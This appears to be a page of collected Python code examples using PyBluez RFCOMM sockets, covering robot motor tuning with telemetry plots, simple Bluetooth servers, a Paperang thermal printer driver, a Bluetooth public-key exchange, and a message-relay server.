                            elif c == self.quitraw:
                                return
                            else:
                                #self.ser.write(self.escape)
                                #self.ser.write(c)
                                self.rfcomm.settimeout(1.)
                                self.rfcomm.send(self.escape)
                        else:
                            if c == self.escape:
                                mode = "escape"
                            else:
                                #time.sleep(0.1)
                                #self.ser.write(c)
                                self.rfcomm.settimeout(1.)
                                self.rfcomm.send(c)

                    #elif x == self.ser:
                    elif x == self.rfcomm:
                        #os.write(stdout,self.ser.read())
                        #self.rfcomm.settimeout(0.01)
                        #os.write(stdout,self.rfcomm.recv(1022))

                        try:
                            self.rfcomm.settimeout(0.0)  # set blocking False
                            received = self.rfcomm.recv(4096)
                            os.write(stdout, received)
                        except:
                            pass
                        #except BluetoothError as error:
                        #    if str(error) != 'timed out':
                        #        raise

        finally:
            termios.tcsetattr(stdin, termios.TCSADRAIN, stdin_termios)
            log.info("Back to normal mode")

    def do_centrifugal(self, args):
        try:
            sa, sd, aa, ad = [int(x) for x in shlex.shlex(args)]
        except:
            print("args: speed_a, speed_d, acc_a, acc_d")
            return
        print(sa, sd, aa, ad)
        time.sleep(10)
        self.ser.write("traj_speed angle %d\n" % (sa))
        time.sleep(0.1)
        self.ser.write("traj_speed distance %d\n" % (sd))
        time.sleep(0.1)
        self.ser.write("traj_acc angle %d\n" % (aa))
        time.sleep(0.1)
        self.ser.write("traj_acc distance %d\n" % (ad))
        time.sleep(0.1)
        self.ser.write("goto da_rel 800 180\n")
        time.sleep(3)
        self.ser.flushInput()
        self.ser.write("position show\n")
        time.sleep(1)
        print(self.ser.read())

    def do_traj_acc(self, args):
        try:
            name, acc = [x for x in shlex.shlex(args)]
        except:
            print("args: cs_name acc")
            return

        acc = int(acc)
        self.ser.flushInput()
        self.ser.write("quadramp %s %d %d 0 0\n" % (name, acc, acc))
        time.sleep(1)
        print(self.ser.read())

    def do_traj_speed(self, args):
        try:
            name, speed = [x for x in shlex.shlex(args)]
        except:
            print("args: cs_name speed")
            return

        speed = int(speed)
        self.ser.flushInput()
        self.ser.write("traj_speed %s %d\n" % (name, speed))
        time.sleep(1)
        print(self.ser.read())

    def do_hc05_stress(self, args):
        #self.ser.flushInput()
        #self.ser.flushInput()
        for i in range(1000):
            for j in range(9):
                self.rfcomm.settimeout(1.)
                self.rfcomm.send(str(j))
                #print(str(i)+'\n'))

        data = ''
        for i in range(1000):
            for j in range(9):
                data += self.rfcomm.recv(1)

        for i in range(1000):
            for j in range(9):
                print(data[i])

    def do_tune(self, args):
        try:
            name, tlog, cons, gain_p, gain_i, gain_d = [
                x for x in shlex.shlex(args)
            ]
        except:
            print("args: cs_name, time_ms, consigne, gain_p, gain_i, gain_d")
            return

        # Test parameters
        tlog = float(tlog) / 1000.0
        cons = int(cons)
        gain_p = int(gain_p)
        gain_i = int(gain_i)
        gain_d = int(gain_d)
        #print(name, cons, gain_p, gain_i, gain_d)

        # Set position, gains, set tm on and goto consign
        self.ser.flushInput()
        self.ser.write("position set 1500 1000 0\n")
        time.sleep(0.1)

        if name == "d":
            self.ser.write("gain distance %d %d %d\n" %
                           (gain_p, gain_i, gain_d))
            time.sleep(0.1)
            self.ser.write("echo off\n")
            #time.sleep(2)
            #print(self.ser.read())

            print("goto d_rel %d\n" % (cons))

            self.ser.write("event tm on\n")
            self.ser.flushInput()
            time.sleep(0.1)
            self.ser.write("goto d_rel %d\n" % (cons))

        elif name == "a":
            self.ser.write("gain angle %d %d %d\n" % (gain_p, gain_i, gain_d))
            time.sleep(0.1)
            self.ser.write("echo off\n")
            #time.sleep(2)
            #print(self.ser.read())

            print("goto d_rel %d\n" % (cons))

            self.ser.write("event tm on\n")
            self.ser.flushInput()
            time.sleep(0.1)
            self.ser.write("goto a_rel %d\n" % (cons))

        else:
            print("unknow cs name")
            return

        # Telemetry reading
        tm_data = ''
        t1 = time.time()
        self.ser.flushInput()
        while True:
            tm_data += self.ser.read()

            # Break after test time
            t2 = time.time()
            if tlog and (t2 - t1) >= tlog:
                tlog = 0
                self.ser.write("\n\r")
                time.sleep(0.1)
                self.ser.write("event tm off\n")
                self.ser.write("echo on\n")
                time.sleep(2)
                self.ser.flushInput()
                time.sleep(2)
                self.ser.flushInput()
                break

        # Telemetry parser
        i = 0
        time_ms = np.zeros(0)
        cons = f_cons = err = feedback = out = np.zeros(0)
        v_cons = v_feedback = np.zeros(1)
        a_cons = a_feedback = a_cons = a_feedback = np.zeros(2)

        TM_HEAD_BYTE_0 = '\xFB'
        TM_HEAD_BYTE_1 = '\xBF'
        TM_TAIL_BYTE_0 = '\xED'
        TM_SIZE = 48
        TM_STRUCT = 'IiiiiiiiiiiBB'

        head = TM_HEAD_BYTE_0 + TM_HEAD_BYTE_1
        tm_packets = tm_data.split(head)
        #print(tm_packets))

        for data in tm_packets:
            if data[-1] == TM_TAIL_BYTE_0 and len(data) == (TM_SIZE - 2):
                tm_data = unpack(TM_STRUCT, data)
                #print(tm_data, type(tm_data)))

                time_ms = np.append(time_ms, tm_data[0])
                #cons = np.append(cons, tm_data[1])
                #f_cons = np.append(f_cons, tm_data[2])
                #err = np.append(err, tm_data[3])
                #feedback = np.append(feedback, tm_data[4])
                #out = np.append(out, tm_data[5])
                cons = np.append(cons, tm_data[6])
                f_cons = np.append(f_cons, tm_data[7])
                err = np.append(err, tm_data[8])
                feedback = np.append(feedback, tm_data[9])
                out = np.append(out, tm_data[10])

                if i > 0:
                    v_cons = np.append(v_cons, (f_cons[i] - f_cons[i - 1]) /
                                       (time_ms[i] - time_ms[i - 1]))
                    v_feedback = np.append(v_feedback,
                                           (feedback[i] - feedback[i - 1]) /
                                           (time_ms[i] - time_ms[i - 1]))

                if i > 1:
                    a_cons = np.append(a_cons, (v_cons[i] - v_cons[i - 1]) /
                                       (time_ms[i] - time_ms[i - 1]))
                    a_feedback = np.append(
                        a_feedback, (v_feedback[i] - v_feedback[i - 1]) /
                        (time_ms[i] - time_ms[i - 1]))

                i += 1

        # Telemetry stuff
        """
        # Telemetry parsing
        t1 = time.time()
        while True:

          # Break after test time
          t2 = time.time()
          if tlog and (t2 - t1) >= tlog:
            tlog = 0
            self.ser.write("event tm off\n")
            break


          # read log data
          time.sleep(TS/10000.0)
          line = self.ser.readline()

          tm_data = struct.struct('Iiiiiiiiiiic')

          print(line)
          #m = re.match("(-?\+?\d+).(-?\+?\d+): \((-?\+?\d+),(-?\+?\d+),(-?\+?\d+)\) "
          #             "%s cons= (-?\+?\d+) fcons= (-?\+?\d+) err= (-?\+?\d+) "
          #             "in= (-?\+?\d+) out= (-?\+?\d+)"%(name), line)

          m = re.match("%s (\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+)"%(name), line)


          # data logging
          if m:
            #print(line)
            #print(m.groups())
            t = np.append(t, i*TS)
            time_ms = np.append(time_ms, int(m.groups()[0]))
            cons = np.append(cons, int(m.groups()[1]))
            f_cons = np.append(f_cons, int(m.groups()[2]))
            err = np.append(err, int(m.groups()[3]))
            feedback = np.append(feedback, int(m.groups()[4]))
            out = np.append(out, int(m.groups()[5]))

            if i>0:
                v_cons = np.append(v_cons, (f_cons[i] - f_cons[i-1])/(time_ms[i]-time_ms[i-1]))
                v_feedback = np.append(v_feedback, (feedback[i] - feedback[i-1])/(time_ms[i]-time_ms[i-1]))

            if i>1:
                a_cons = np.append(a_cons, (v_cons[i] - v_cons[i-1])/(time_ms[i]-time_ms[i-1]))
                a_feedback = np.append(a_feedback, (v_feedback[i] - v_feedback[i-1])/(time_ms[i]-time_ms[i-1]))

            i += 1
            continue

          # trajectory end
          m = re.match("returned", line)
          if m:
            print(line.rstrip())

         """

        time_ms = time_ms - time_ms[0]

        plt.figure(1)
        plt.subplot(311)
        plt.plot(time_ms, v_cons, '.-', label="consigna")
        plt.plot(time_ms, v_feedback, '.-', label="feedback")
        plt.ylabel('v (pulsos/Ts)')
        plt.grid(True)
        plt.legend()
        plt.title('%s kp=%s, ki=%d, kd=%d' % (name, gain_p, gain_i, gain_d))

        plt.subplot(312)
        plt.plot(time_ms, a_cons, '.-', label="consigna")
        plt.plot(time_ms, a_feedback, '.-', label="feedback")
        plt.ylabel('a (pulsos/Ts^2)')
        plt.grid(True)
        plt.legend()

        plt.subplot(313)
        plt.plot(time_ms, out, '.-')
        plt.xlabel('t (ms)')
        plt.ylabel('u (cuentas)')
        plt.grid(True)

        plt.figure(2)
        plt.subplot(311)
        plt.plot(time_ms, f_cons - feedback[0], '.-', label="consigna")
        plt.plot(time_ms, feedback - feedback[0], '.-', label="feedback")
        plt.ylabel('posicion (pulsos)')
        plt.grid(True)
        plt.legend()
        plt.title('%s kp=%s, ki=%d, kd=%d' % (name, gain_p, gain_i, gain_d))

        plt.subplot(312)
        plt.plot(time_ms, err, '.-')
        plt.xlabel('t (ms)')
        plt.ylabel('error (pulsos)')
        plt.grid(True)

        plt.subplot(313)
        plt.plot(time_ms, out, '.-')
        plt.xlabel('t (ms)')
        plt.ylabel('u (cuentas)')
        plt.grid(True)

        plt.show()
Exemple #29
0
server_sock = BluetoothSocket(RFCOMM)
server_sock.bind(("", PORT_ANY))
server_sock.listen(1)

port = server_sock.getsockname()[1]

uuid = "a140ff7b-6539-40fe-9481-671108c144d6"

advertise_service(server_sock, "PenPi Service", uuid)

print("Waiting for connection on RFCOMM channel %d" % port)

client_sock, client_info = server_sock.accept()

print("Accepted connection from ", client_info)

try:
    while True:
        data = client_sock.recv(1024)
        if len(data) == 0: break
        print("received [%s]" % data)
except IOError:
    pass

print("disconnected")

client_sock.close()
server_sock.close()
print("all done")
class BluetoothInterface(BaseInterface):
    """The Bluetooth interface definition for communication with wireless client devices."""

    __interface_name__ = 'bluetooth'

    def __init__(self, controller):
        """
        Initializes a bluetooth service that may be consumed by a remote client.

        Arguments
        ---------
            controller : controllers.base.BaseController
                the parent controller that is instantiated this interface

        """
        super(BluetoothInterface, self).__init__()
        self.controller = controller
        self.client_sock = None
        self.client_info = None
        self.rfcomm_channel = None
        self.service_name = self.get_setting('service_name')
        self.service_uuid = self.get_setting('service_uuid')
        self.server_sock = None
        self.thread = None

    def connect(self):
        """Creates a new thread that listens for an incoming bluetooth RFCOMM connection."""
        LOGGER.info('creating thread for bluetooth interface...')
        self.thread = threading.Thread(target=self.listen_for_rfcomm_connection)
        self.thread.daemon = True
        self.thread.start()

    def listen_for_rfcomm_connection(self):
        """
        Starts bluetooth interfaces
        """
        # prepare bluetooth server
        self.server_sock = BluetoothSocket(RFCOMM)
        self.server_sock.bind(("", PORT_ANY))
        self.server_sock.listen(1)
        self.rfcomm_channel = self.server_sock.getsockname()[1]

        # start listening for incoming connections
        try:
            advertise_service(
                sock=self.server_sock,
                name=self.service_name,
                service_id=self.service_uuid,
                service_classes=[self.service_uuid, SERIAL_PORT_CLASS],
                profiles=[SERIAL_PORT_PROFILE]
            )
        except:
            LOGGER.exception("[ERROR] failed to advertise service")
            return

        LOGGER.info('waiting for connection on RFCOMM channel %d', self.rfcomm_channel)

        # accept received connection
        self.client_sock, self.client_info = self.server_sock.accept()
        self.state = self.__states__.STATE_CONNECTED
        LOGGER.info('accepted connection from %r', self.client_info)

        # start listening for data
        self.consume_bus()

    def disconnect(self):
        """
        Closes Bluetooth connection and resets handle
        """
        LOGGER.info('destroying bluetooth interface...')
        self.state = self.__states__.STATE_DISCONNECTING
        if self.client_sock and hasattr(self.client_sock, 'close'):
            self.client_sock.close()
            self.client_sock = None
        if self.server_sock and hasattr(self.server_sock, 'close'):
            self.server_sock.close()
            self.server_sock = None

        # reset the bluetooth interface
        self.thread = None
        self.perform_hci0_reset()
        self.state = self.__states__.STATE_READY

    @staticmethod
    def perform_hci0_reset():
        """Resets the bluetooth hci0 device via hciconfig command line interface."""
        try:
            LOGGER.info('performing hci0 down/up...')
            subprocess.Popen('hciconfig hci0 down', shell=True).communicate()
            subprocess.Popen('hciconfig hci0 up', shell=True).communicate()
            LOGGER.info('hci0 down/up has completed')
        except Exception as exception:
            LOGGER.exception("Failed to restart hci0 - %r", exception)

    def receive(self, data):
        """
        Processes received data from Bluetooth socket

        Arguments
        ---------
            data : basestring
                the data received from the bluetooth connection

        """
        try:
            packet = json.loads(data.decode('utf-8'))
            LOGGER.info('received packet via bluetooth: %r', packet['data'])

            # invoke bound method (if set)
            if self.receive_hook and hasattr(self.receive_hook, '__call__'):
                self.receive_hook(packet['data'])

        except Exception as exception:
            LOGGER.exception('error: %r', exception)

    def send(self, data):
        """
        Sends data via Bluetooth socket connection

        Arguments
        ---------
            data : basestring
                the data to be sent via this interface

        """
        if self.state != self.__states__.STATE_CONNECTED:
            LOGGER.error('error: send() was called but state is not connected')
            return False

        try:
            LOGGER.info('sending IBUSPacket(s)...')
            packets = []
            for packet in data:
                packets.append(packet.as_serializable_dict())

            # encapsulate ibus packets and send
            data = {"data": json.dumps(packets)}  # TODO : is an inner json.dumps necessary?
            LOGGER.info(data)
            self.client_sock.send(json.dumps(data))
        except Exception:
            # socket was closed, graceful restart
            LOGGER.exception('bluetooth send exception')
            self.reconnect()

    def consume_bus(self):
        """
        Start listening for incoming data
        """
        try:
            LOGGER.info('starting to listen for bluetooth data...')
            read_buffer_length = self.get_setting('read_buffer_length', int)

            while self.client_sock:
                data = self.client_sock.recv(read_buffer_length)
                if len(data) > 0:
                    self.receive(data)

        except Exception as exception:
            LOGGER.exception('android device was disconnected - %r', exception)
            self.reconnect()
Exemple #31
0
#!/usr/bin/env python3
# coding: utf-8

from bluetooth import BluetoothSocket

host_BD = 'B8:27:EB:A5:03:6C'
port = 3
backlog = 2
size = 1024
blueth = BluetoothSocket(bluetooth.RFCOMM)
blueth.bind((host_BD, port))
blueth.listen(backlog)


try:
    client, client_info = blueth.accept()
    while True:
        data = client.recv(1024)
        if data:
            print(data)

except:
    print("Closing socket")
    client.close()
    blueth.close()
class BluetoothReceive:
    def __init__(self, port=3, size=1024):
        self.port = port
        self.size = size
        self.client_socket = None
        self.stopped = False

    @inlineCallbacks
    def find_key(self, bt_mac, mac):
        self.client_socket = BluetoothSocket(RFCOMM)
        message = b""
        try:
            self.client_socket.setblocking(False)
            try:
                self.client_socket.connect((bt_mac, self.port))
            except BluetoothError as be:
                if be.args[0] == "(115, 'Operation now in progress')":
                    pass
                else:
                    raise be
            success = False
            while not self.stopped and not success:
                r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5)
                if r:
                    log.info("Connection established")
                    self.client_socket.setblocking(True)
                    success = True
                    # try to receive until the sender closes the connection
                    try:
                        while True:
                            part_message = self.client_socket.recv(self.size)
                            log.debug("Read %d bytes: %r", len(part_message), part_message)
                            message += part_message
                    except BluetoothError as be:
                        if be.args[0] == "(104, 'Connection reset by peer')":
                            log.info("Bluetooth connection closed, let's check if we downloaded the key")
                        else:
                            raise be
            mac_key = fingerprint_from_keydata(message)
            verified = None
            if mac:
                verified = mac_verify(mac_key.encode('ascii'), message, mac)
            if verified:
                success = True
            else:
                log.info("MAC validation failed: %r", verified)
                success = False
                message = b""
        except BluetoothError as be:
            if be.args[0] == "(16, 'Device or resource busy')":
                log.info("Probably has been provided a partial bt mac")
            elif be.args[0] == "(111, 'Connection refused')":
                log.info("The sender refused our connection attempt")
            elif be.args[0] == "(112, 'Host is down')":
                log.info("The sender's Bluetooth is not available")
            elif be.args[0] == "(113, 'No route to host')":
                log.info("An error occurred with Bluetooth, if present probably the device is not powered")
            else:
                log.info("An unknown bt error occurred: %s" % be.args[0])
            key_data = None
            success = False
            returnValue((key_data, success, be))
        except Exception as e:
            log.error("An error occurred connecting or receiving: %s" % e)
            key_data = None
            success = False
            returnValue((key_data, success, e))

        if self.client_socket:
            self.client_socket.close()
        returnValue((message.decode("utf-8"), success, None))

    def stop(self):
        self.stopped = True
        if self.client_socket:
            try:
                self.client_socket.shutdown(socket.SHUT_RDWR)
                self.client_socket.close()
            except BluetoothError as be:
                if be.args[0] == "(9, 'Bad file descriptor')":
                    log.info("The old Bluetooth connection was already closed")
                else:
                    log.exception("An unknown bt error occurred")
Exemple #33
0
class Printer:

    standardKey = 0x35769521
    padding_line = 300
    max_send_msg_length = 1536
    max_recv_msg_length = 1024
    service_uuid = '00001101-0000-1000-8000-00805F9B34FB'

    def __init__(self, address=None):
        self.address = address
        self.crckeyset = False
        self.connected = True if self.connect() else False

    def init_converter(self, path):
        convert_img(path)

    def connect(self):
        if self.address is None and not self.scandevices():
            return False
        if not self.scanservices():
            return False
        logging.info('Service found: connecting to %s on %s...' %
                     (self.service['name'], self.service['host']))
        self.sock = BluetoothSocket()
        self.sock.connect((self.service['host'], self.service['port']))
        self.sock.settimeout(60)
        logging.info('Connected.')
        self.registerCrcKeyToBt()
        return True

    def disconnect(self):
        try:
            self.sock.close()
        except:
            pass
        logging.info('Disconnected.')

    def scandevices(self):
        logging.warning('Searching for devices...')
        valid_names = ['MiaoMiaoJi', 'Paperang', 'Paperang_P2S']
        nearby_devices = discover_devices(lookup_names=True)
        valid_devices = list(
            filter(lambda d: len(d) == 2 and d[1] in valid_names,
                   nearby_devices))
        if len(valid_devices) == 0:
            logging.error('Cannot find device with name %s.' %
                          ' or '.join(valid_names))
            return False
        elif len(valid_devices) > 1:
            logging.warning(
                'Found multiple valid machines, the first one will be used.\n')
            logging.warning('\n'.join(valid_devices))
        else:
            logging.warning('Found a valid machine with MAC %s and name %s' %
                            (valid_devices[0][0], valid_devices[0][1]))
            self.address = valid_devices[0][0]
        return True

    def scanservices(self):
        logging.info('Searching for services...')
        service_matches = find_service(uuid=self.service_uuid,
                                       address=self.address)
        valid_service = list(
            filter(
                lambda s: 'protocol' in s and 'name' in s and s[
                    'protocol'] == 'RFCOMM' and
                (s['name'] == 'SerialPort' or s['name'] == 'Port'),
                service_matches))
        if len(valid_service) == 0:
            logging.error('Cannot find valid services on device with MAC %s.' %
                          self.address)
            return False
        logging.info('Found a valid service')
        self.service = valid_service[0]
        return True

    def sendMsgAllPackage(self, msg):
        sent_len = self.sock.send(msg)
        logging.info('Sending msg with length = %d...' % sent_len)

    def crc32(self, content):
        return zlib.crc32(content, self.crcKey
                          if self.crckeyset else self.standardKey) & 0xffffffff

    def packPerBytes(self, bytes, control_command, i):
        result = struct.pack('<BBB', 2, control_command, i)
        result += struct.pack('<H', len(bytes))
        result += bytes
        result += struct.pack('<I', self.crc32(bytes))
        result += struct.pack('<B', 3)
        return result

    def addBytesToList(self, bytes):
        length = self.max_send_msg_length
        result = [bytes[i:(i + length)] for i in range(0, len(bytes), length)]
        return result

    def sendToBt(self, data_bytes, control_command, need_reply=True):
        bytes_list = self.addBytesToList(data_bytes)
        for i, bytes in enumerate(bytes_list):
            tmp = self.packPerBytes(bytes, control_command, i)
            self.sendMsgAllPackage(tmp)
        if need_reply:
            return self.recv()

    def recv(self):
        raw_msg = self.sock.recv(self.max_recv_msg_length)
        parsed = self.resultParser(raw_msg)
        logging.info('Recv: ' + codecs.encode(raw_msg, 'hex_codec').decode())
        logging.info('Received %d packets: ' % len(parsed) +
                     ''.join([str(p) for p in parsed]))
        return raw_msg, parsed

    def resultParser(self, data):
        base = 0
        res = []
        while base < len(data) and data[base] == '\x02':

            class Info(object):
                def __str__(self):
                    return '\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s' % (
                        self.command, BtCommandByte.findCommand(
                            self.command), self.payload_length,
                        codecs.encode(self.payload, 'hex_codec'))

            info = Info()
            _, info.command, _, info.payload_length = struct.unpack(
                '<BBBH', data[base:(base + 5)])
            info.payload = data[base + 5:base + 5 + info.payload_length]
            info.crc32 = data[base + 5 + info.payload_length:base + 9 +
                              info.payload_length]
            base += 10 + info.payload_length
            res.append(info)
        return res

    def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d):
        logging.info('Setting CRC32 key...')
        msg = struct.pack('<I', int(key ^ self.standardKey))
        self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY)
        self.crcKey = key
        self.crckeyset = True
        logging.info('CRC32 key set.')

    def sendPaperTypeToBt(self, paperType=0):
        msg = struct.pack('<B', paperType)
        self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE)

    def sendPowerOffTimeToBt(self, poweroff_time=0):
        msg = struct.pack('<H', poweroff_time)
        self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME)

    def print(self, path):
        self.sendImageToBt(path)

    def sendImageToBt(self, path):
        binary_img = convert_img(path)
        self.sendPaperTypeToBt()
        msg = b''.join(
            map(lambda i: struct.pack('<c', i.to_bytes(1, byteorder='little')),
                binary_img))
        self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False)
        self.sendFeedLineToBt(self.padding_line)

    def sendSelfTestToBt(self):
        msg = struct.pack('<B', 0)
        self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE)

    def sendDensityToBt(self, density):
        msg = struct.pack('<B', density)
        self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY)

    def sendFeedLineToBt(self, length):
        msg = struct.pack('<H', length)
        self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE)

    def queryBatteryStatus(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS)

    def queryDensity(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY)

    def sendFeedToHeadLineToBt(self, length):
        msg = struct.pack('<H', length)
        self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE)

    def queryPowerOffTime(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME)

    def querySNFromBt(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_SN)

    def queryHardwareInfo(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
while keep_going:
    print ("click")
    for frame in frames:
        if len(frame) == 0: 
            break

        bin_data = None
        
        header = img_header()
        payload = frame
        if payload is None: continue
        bin_data = header + payload
        bin_data = bin_data + checksum(bin_data[1:])
        bin_data.append(0x02)

        # Writing to output buffer
        out_buffer = escape_message(bin_data)

        # Only bother if there is data to be sent
        if out_buffer == None: continue

        try:
            if not mock:
                sock.send(bytes(out_buffer))
                sleep(50/1000)
        except Exception as e:
            print(e)

if not mock:
    sock.close()
Exemple #35
0
class RfcommServer(object):
    '''An RFComm Server designed to propagate bluetooth messages to UDP broadcasts.'''
    def __init__(self, establish_bt=True):
        self.folder = path.dirname(path.abspath(__file__))
        try:
            with open(path.join(self.folder,
                                'settings.yaml')) as settings_file:
                self.settings = yaml.safe_load(settings_file)
        except FileNotFoundError:
            print(
                "Create a settings.yaml file by copying settings-example.yaml")
            raise
        self.server_sock = None
        self.client_sock = None
        if establish_bt:
            self.server_sock = BluetoothSocket(RFCOMM)
            self.server_sock.bind(("", PORT_ANY))
            self.server_sock.listen(1)
            uuid = "28ccf815-245e-436f-a002-8e72a67422a8"

            # doesn't appear to do anything on RasPi...
            advertise_service(self.server_sock,
                              "LightNet",
                              service_id=uuid,
                              service_classes=[uuid, SERIAL_PORT_CLASS],
                              profiles=[SERIAL_PORT_PROFILE])

        self.broadcast_socket = socket.socket(socket.AF_INET,
                                              socket.SOCK_DGRAM)
        self.broadcast_socket.setsockopt(socket.SOL_SOCKET,
                                         socket.SO_REUSEADDR, 1)
        self.broadcast_socket.setsockopt(socket.SOL_SOCKET,
                                         socket.SO_BROADCAST, 1)

    def loop(self, gen=None):
        '''Listen for and handle bluetooth commands.'''
        if not gen:
            gen = self.command_generator()
        broadcast_dest = (self.settings['broadcast']['ip'],
                          self.settings['broadcast']['port'])
        for command in gen:
            print("received [{}]".format(command))
            if command.startswith('#'):
                self.execute_command(command[1:].strip())
                continue
            self.broadcast_socket.sendto(command.encode(), broadcast_dest)
            self.respond('okay')
        print("all done")

    def execute_command(self, command):
        '''Find and execute a command. '''
        folder = path.join(self.folder, 'commands')
        for filename in os.listdir(folder):
            if filename.split('.')[0] == command:
                break
        else:
            self.respond("Command '{}' not found.".format(command))
            return
        os.chdir(folder)
        self.respond("Running '{}'...".format(command))
        output = subprocess.check_output([filename],
                                         stderr=subprocess.STDOUT,
                                         universal_newlines=True)
        if output.strip():
            self.respond(output.strip())

    def respond(self, msg):
        '''Send a bluetooth response if connected.'''
        print("> " + msg.replace('\n', '\n > '))
        if not self.client_sock:
            return
        self.client_sock.send(msg + '\n')

    def command_generator(self):
        '''Establishes a client connection, yielding any commands given and
        raising StopIteration upon close. '''
        whitelist = self.settings.get('whitelist', [])
        while True:
            print("Waiting for connection on RFCOMM channel")
            client_sock, client_info = self.server_sock.accept()
            if whitelist and not client_info[0] in whitelist:
                print("Denied connection from ", client_info)
                client_sock.close()
                continue
            print("Accepted connection from ", client_info)
            self.client_sock = client_sock
            with contextlib.closing(client_sock):
                while True:
                    try:
                        data = client_sock.recv(1024)
                        if not data:
                            raise StopIteration
                        yield data.decode('utf-8').strip()
                    except IOError:
                        traceback.print_exc()
                    except (KeyboardInterrupt, SystemExit, StopIteration):
                        raise
            print("disconnected")
            self.client_sock = None

    def close(self):
        '''Closes the server connection if open.'''
        if self.server_sock:
            self.server_sock.close()
class BluetoothOffer:
    def __init__(self, key, port=3, size=1024):
        self.key = key
        self.port = port
        self.size = size
        self.server_socket = None
        self.message_def = None
        self.stopped = False

    @inlineCallbacks
    def start(self):
        self.stopped = False
        message = "Back"
        success = False
        try:
            while not self.stopped and not success:
                # server_socket.accept() is not stoppable. So with select we can call accept()
                # only when we are sure that there is already a waiting connection
                ready_to_read, ready_to_write, in_error = yield threads.deferToThread(
                    select.select, [self.server_socket], [], [], 0.5)
                if ready_to_read:
                    # We are sure that a connection is available, so we can call
                    # accept() without deferring it to a thread
                    client_socket, address = self.server_socket.accept()
                    key_data = get_public_key_data(self.key.fingerprint)
                    kd_decoded = key_data.decode('utf-8')
                    yield threads.deferToThread(client_socket.sendall,
                                                kd_decoded)
                    log.info("Key has been sent")
                    client_socket.shutdown(socket.SHUT_RDWR)
                    client_socket.close()
                    success = True
                    message = None
        except Exception as e:
            log.error("An error occurred: %s" % e)
            success = False
            message = e

        returnValue((success, message))

    def allocate_code(self):
        """Acquires and returns a string suitable for finding the key via Bluetooth.
        Returns None if no powered on adapter could be found."""
        # TODO: when we have magic-wormhole we should perform this operation in async
        # and show the loading spinning wheel
        bt_data = None
        try:
            code = get_local_bt_address().upper()
        except NoBluezDbus as e:
            log.debug("Bluetooth service seems to be unavailable: %s", e)
        except NoAdapter as e:
            log.debug("Bluetooth adapter is not available: %s", e)
        except UnpoweredAdapter as e:
            log.debug("Bluetooth adapter is turned off: %s", e)
        else:
            if self.server_socket is None:
                self.server_socket = BluetoothSocket(RFCOMM)
                # We create a bind with the Bluetooth address we have in the system
                self.server_socket.bind((code, PORT_ANY))
                # Number of unaccepted connections that the system will allow before refusing new connections
                backlog = 1
                self.server_socket.listen(backlog)
                log.info("sockname: %r", self.server_socket.getsockname())
            port = self.server_socket.getsockname()[1]
            log.info("BT Code: %s %s", code, port)
            bt_data = "BT={0};PT={1}".format(code, port)
        return bt_data

    def stop(self):
        log.debug("Stopping bt receive")
        self.stopped = True
        if self.server_socket:
            self.server_socket.shutdown(socket.SHUT_RDWR)
            self.server_socket.close()
            self.server_socket = None
class BluetoothInterface(BaseInterface):
    """The Bluetooth interface definition for communication with wireless client devices."""

    __interface_name__ = 'bluetooth'

    def __init__(self, controller):
        """
        Initializes a bluetooth service that may be consumed by a remote client.

        Arguments
        ---------
            controller : controllers.base.BaseController
                the parent controller that is instantiated this interface

        """
        super(BluetoothInterface, self).__init__()
        self.controller = controller
        self.client_sock = None
        self.client_info = None
        self.rfcomm_channel = None
        self.service_name = self.get_setting('service_name')
        self.service_uuid = self.get_setting('service_uuid')
        self.server_sock = None
        self.thread = None

    def connect(self):
        """Creates a new thread that listens for an incoming bluetooth RFCOMM connection."""
        LOGGER.info('creating thread for bluetooth interface...')
        self.thread = threading.Thread(
            target=self.listen_for_rfcomm_connection)
        self.thread.daemon = True
        self.thread.start()

    def listen_for_rfcomm_connection(self):
        """
        Starts bluetooth interfaces
        """
        # prepare bluetooth server
        self.server_sock = BluetoothSocket(RFCOMM)
        self.server_sock.bind(("", PORT_ANY))
        self.server_sock.listen(1)
        self.rfcomm_channel = self.server_sock.getsockname()[1]

        # start listening for incoming connections
        advertise_service(
            self.server_sock,
            self.service_name,
            service_id=self.service_uuid,
            service_classes=[self.service_uuid, SERIAL_PORT_CLASS],
            profiles=[SERIAL_PORT_PROFILE])
        LOGGER.info('waiting for connection on RFCOMM channel %d' %
                    self.rfcomm_channel)

        # accept received connection
        self.client_sock, self.client_info = self.server_sock.accept()
        self.state = self.__states__.STATE_CONNECTED
        LOGGER.info('accepted connection from %r', self.client_info)

        # start listening for data
        self.consume_bus()

    def disconnect(self):
        """
        Closes Bluetooth connection and resets handle
        """
        LOGGER.info('destroying bluetooth interface...')
        self.state = self.__states__.STATE_DISCONNECTING
        if self.client_sock and hasattr(self.client_sock, 'close'):
            self.client_sock.close()
            self.client_sock = None
        if self.server_sock and hasattr(self.server_sock, 'close'):
            self.server_sock.close()
            self.server_sock = None

        # reset the bluetooth interface
        self.thread = None
        self.perform_hci0_reset()
        self.state = self.__states__.STATE_READY

    @staticmethod
    def perform_hci0_reset():
        """Resets the bluetooth hci0 device via hciconfig command line interface."""
        try:
            LOGGER.info('performing hci0 down/up...')
            subprocess.Popen('sudo hciconfig hci0 down',
                             shell=True).communicate()
            subprocess.Popen('sudo hciconfig hci0 up',
                             shell=True).communicate()
            LOGGER.info('hci0 down/up has completed')
        except Exception as exception:
            LOGGER.exception("Failed to restart hci0 - %r", exception)

